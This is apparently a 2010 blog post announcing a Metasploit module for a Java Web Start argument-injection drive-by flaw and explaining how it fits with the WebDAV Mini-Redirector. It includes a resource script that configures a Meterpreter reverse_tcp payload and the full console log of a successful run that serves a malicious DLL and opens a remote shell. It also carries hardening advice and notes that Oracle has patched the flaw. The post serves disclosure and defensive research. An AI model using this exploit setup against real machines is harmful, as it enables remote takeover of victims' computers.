Back on April 9th, Tavis Ormandy dropped a bit of a bomb shell on the full-disclosure mailing list. To summarize, Tavis found that a DBD attack was possible utilizing the latest Java Runtime. He reported it to Oracle/Sun, which assessed its severity and stated they didn't plan to patch it out of cycle. Based on his tweets, Tavis found out that other researchers were aware of this issue, and decided to disclose the issue to the public without delay. Shortly after the disclosure, Ruben Santamarta asserted that he had independently discovered it as well, and disclosed his version. That's means at least three independent researchers knew of the issue when it was released on Friday.
Early this afternoon, I committed a Metasploit Framework exploit module for this issue. Before I go any further, let me explain what is required for this module to work. You must run the module as root on a machine that does not run an SMB server. This way, fetching the UNC path will fail using SMB and fall back to the WebDAV Mini-Redirector. That leads me to the second requirement. If the target host does not have the WebClient service enabled, this module will not be able to obtain a session. You can check the status of the WebClient service like this:
C:\>sc query webclient | find "STATE" STATE : 4 RUNNING
This service controls whether or not the WebDAV Mini-Redirector functionality is enabled. Steve Tornio of OSVDB and his desktop integration guy pointed this out. Thank you very much! BTW, ^5 (high five) for disabling this service by default in your environment. I recommend others follow suit to harden their systems...
BTW, exploiting this vulnerability using SMB is most likely possible, but wasn't investigated. If so, all this mess about disabling the WebDAV Mini-Redirector becomes irrelevant. Blocking an SMB version of this exploit would be trickier, and usually means firewalling outbound SMB traffic.
Now, on to using the exploit module. To do most of my testing I use the recently discussed resource script functionality.
$ cat java_ws_arginject.msfrc use exploit/windows/browser/java_ws_arginject_altjvm set LHOST 126.96.36.199 set LPORT 31337 set PAYLOAD windows/meterpreter/reverse_tcp exploit $
Running msfconsole using this resource script looks like this:
$ msfconsole -r java_ws_arginject.msfrc 888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 =[ metasploit v3.4.0-dev [core:3.4 api:1.0] + -- --=[ 542 exploits - 257 auxiliary + -- --=[ 208 payloads - 23 encoders - 8 nops =[ svn r9085 updated today (2010.04.15) resource (java_ws_arginject.msfrc)> use exploit/windows/browser/java_ws_arginject_altjvm resource (java_ws_arginject.msfrc)> set LHOST 188.8.131.52 LHOST => 184.108.40.206 resource (java_ws_arginject.msfrc)> set LPORT 31337 LPORT => 31337 resource (java_ws_arginject.msfrc)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (java_ws_arginject.msfrc)> exploit [*] Exploit running as background job. msf exploit(java_ws_arginject_altjvm) > [*] Started reverse handler on 220.127.116.11:31337 [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://18.104.22.168:80/ [*] Server started.
Now, when the target visits this URL, the following appears:
[*] Request for "/" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ... [*] Responding to "GET /3GE9ACbFvazjwOL/" request from 22.214.171.124:3942 [*] Sending HTML to 126.96.36.199:3942... [*] Responding to WebDAV "OPTIONS /" request from 188.8.131.52:3949 [*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ... [*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from 184.108.40.206:3949 [*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ... [*] Request for "/3GE9ACbFvazjwOL" does not contain a sub-directory, redirecting to /3GE9ACbFvazjwOL/ ... [*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/" request from 220.127.116.11:3949 [*] Sending directory multistatus for /3GE9ACbFvazjwOL/ ... [*] Received WebDAV "PROPFIND /3GE9ACbFvazjwOL/jvm.dll" request from 18.104.22.168:3949 [*] Sending DLL multistatus for /3GE9ACbFvazjwOL/jvm.dll ... [*] Responding to "GET /3GE9ACbFvazjwOL/jvm.dll" request from 22.214.171.124:3949 [*] Sending DLL to 126.96.36.199:3949... [*] (UUID:horcpvyf) Sending stage (748032 bytes) to 188.8.131.52 [*] Meterpreter session 1 opened (184.108.40.206:31337 -> 220.127.116.11:3950)
As you can see, the exploit was successful and yielded a Meterpreter session.
The vulnerable test machine was an out-of-date Windows XP SP3 machine running Java Runtime Environment 6 Update 18. As Tavis said, it should work on any machine using JRE 6 Update 10 or newer.
Yesterday, HD pointed me at a Wepawet analysis that included what appeared to be an attempt to exploit this vulnerability. Unfortunately, I wasn't able to download the calc223.jar payload that was referenced in the analysis -- if you have it, please share! Apparently, that was enough to put the Oracle security process into fast forward. Today, they released an update to correct the issue, as well as an advisory and a blog post to spread the word. Nice work Oracle/Sun!
On a side note (yes, another one), during testing I noticed some odd crashes that would occur occasionally when the DLL failed to load. When I went to close the browser, it would crash de-referencing data that appeared to be an ASCII string! Oh no! I haven't looked further, but I'm guessing it is the second, mysterious CVE that Oracle mentioned today. Hard to tell for sure since Oracle doesn't generally like to confirm or deny that kind of information...